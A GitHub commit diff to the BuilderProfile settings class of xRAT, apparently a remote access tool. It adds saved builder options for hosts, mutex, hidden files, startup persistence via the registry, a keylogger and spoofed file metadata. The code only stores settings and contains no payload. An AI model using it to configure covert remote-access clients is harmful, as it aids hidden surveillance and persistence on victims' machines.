Skip to content

Commit

Permalink
Improved BuilderProfile
Browse files Browse the repository at this point in the history
- Ready for implementing multiple profiles
  • Loading branch information
MaxXor committed Aug 15, 2015
1 parent a7b3739 commit e18dcc6
Show file tree
Hide file tree
Showing 2 changed files with 338 additions and 62 deletions.
293 changes: 284 additions & 9 deletions Server/Core/Data/BuilderProfile.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,20 +3,297 @@
using System.Windows.Forms;
using System.Xml;
using System.Xml.XPath;
using xServer.Core.Helper;

namespace xServer.Core.Data
{
public class BuilderProfile
{
private readonly string _profilePath;

public BuilderProfile(string profilePath)
public string Hosts
{
if (string.IsNullOrEmpty(profilePath)) throw new ArgumentException("Invalid Profile Path");
_profilePath = Path.Combine(Application.StartupPath, "Profiles\\" + profilePath);
get
{
return ReadValueSafe("Hosts");
}
set
{
WriteValue("Hosts", value);
}
}

public string Tag
{
get
{
return ReadValueSafe("Tag", "Office04");
}
set
{
WriteValue("Tag", value);
}
}

public string Password
{
get
{
return ReadValueSafe("Password", Settings.Password);
}
set
{
WriteValue("Password", value);
}
}

public int Delay
{
get
{
return int.Parse(ReadValueSafe("Delay", "3000"));
}
set
{
WriteValue("Delay", value.ToString());
}
}

public string Mutex
{
get
{
return ReadValueSafe("Mutex", FormatHelper.GenerateMutex());
}
set
{
WriteValue("Mutex", value);
}
}

public bool InstallClient
{
get
{
return bool.Parse(ReadValueSafe("InstallClient", "False"));
}
set
{
WriteValue("InstallClient", value.ToString());
}
}

public string InstallName
{
get
{
return ReadValueSafe("InstallName", "Client");
}
set
{
WriteValue("InstallName", value);
}
}

public short InstallPath
{
get
{
return short.Parse(ReadValueSafe("InstallPath", "1"));
}
set
{
WriteValue("InstallPath", value.ToString());
}
}

public string InstallSub
{
get
{
return ReadValueSafe("InstallSub", "SubDir");
}
set
{
WriteValue("InstallSub", value);
}
}

public bool HideFile
{
get
{
return bool.Parse(ReadValueSafe("HideFile", "False"));
}
set
{
WriteValue("HideFile", value.ToString());
}
}

public bool AddStartup
{
get
{
return bool.Parse(ReadValueSafe("AddStartup", "False"));
}
set
{
WriteValue("AddStartup", value.ToString());
}
}

public string RegistryName
{
get
{
return ReadValueSafe("RegistryName", "xRAT Client Startup");
}
set
{
WriteValue("RegistryName", value);
}
}

public bool ChangeIcon
{
get
{
return bool.Parse(ReadValueSafe("ChangeIcon", "False"));
}
set
{
WriteValue("ChangeIcon", value.ToString());
}
}

public bool ChangeAsmInfo
{
get
{
return bool.Parse(ReadValueSafe("ChangeAsmInfo", "False"));
}
set
{
WriteValue("ChangeAsmInfo", value.ToString());
}
}

public bool Keylogger
{
get
{
return bool.Parse(ReadValueSafe("Keylogger", "False"));
}
set
{
WriteValue("Keylogger", value.ToString());
}
}

public string ProductName
{
get
{
return ReadValueSafe("ProductName");
}
set
{
WriteValue("ProductName", value);
}
}

public string Description
{
get
{
return ReadValueSafe("Description");
}
set
{
WriteValue("Description", value);
}
}

public string CompanyName
{
get
{
return ReadValueSafe("CompanyName");
}
set
{
WriteValue("CompanyName", value);
}
}

public string Copyright
{
get
{
return ReadValueSafe("Copyright");
}
set
{
WriteValue("Copyright", value);
}
}

public string Trademarks
{
get
{
return ReadValueSafe("Trademarks");
}
set
{
WriteValue("Trademarks", value);
}
}

public string OriginalFilename
{
get
{
return ReadValueSafe("OriginalFilename");
}
set
{
WriteValue("OriginalFilename", value);
}
}

public string ProductVersion
{
get
{
return ReadValueSafe("ProductVersion");
}
set
{
WriteValue("ProductVersion", value);
}
}

public string FileVersion
{
get
{
return ReadValueSafe("FileVersion");
}
set
{
WriteValue("FileVersion", value);
}
}

public BuilderProfile(string profileName)
{
if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path");
_profilePath = Path.Combine(Application.StartupPath, "Profiles\\" + profileName + ".xml");
}

public string ReadValue(string pstrValueToRead)
private string ReadValue(string pstrValueToRead)
{
try
{
Expand All @@ -37,13 +314,13 @@ public string ReadValue(string pstrValueToRead)
}
}

public string ReadValueSafe(string pstrValueToRead, string defaultValue = "")
private string ReadValueSafe(string pstrValueToRead, string defaultValue = "")
{
string value = ReadValue(pstrValueToRead);
return (!string.IsNullOrEmpty(value)) ? value : defaultValue;
}

public bool WriteValue(string pstrValueToRead, string pstrValueToWrite)
private void WriteValue(string pstrValueToRead, string pstrValueToWrite)
{
try
{
Expand Down Expand Up @@ -73,15 +350,13 @@ public bool WriteValue(string pstrValueToRead, string pstrValueToWrite)
oldNode = doc.SelectSingleNode("settings");
oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite;
doc.Save(_profilePath);
return true;
return;
}
oldNode.InnerText = pstrValueToWrite;
doc.Save(_profilePath);
return true;
}
catch
{
return false;
}
}
}
Expand Down
Loading

0 comments on commit e18dcc6

Please sign in to comment.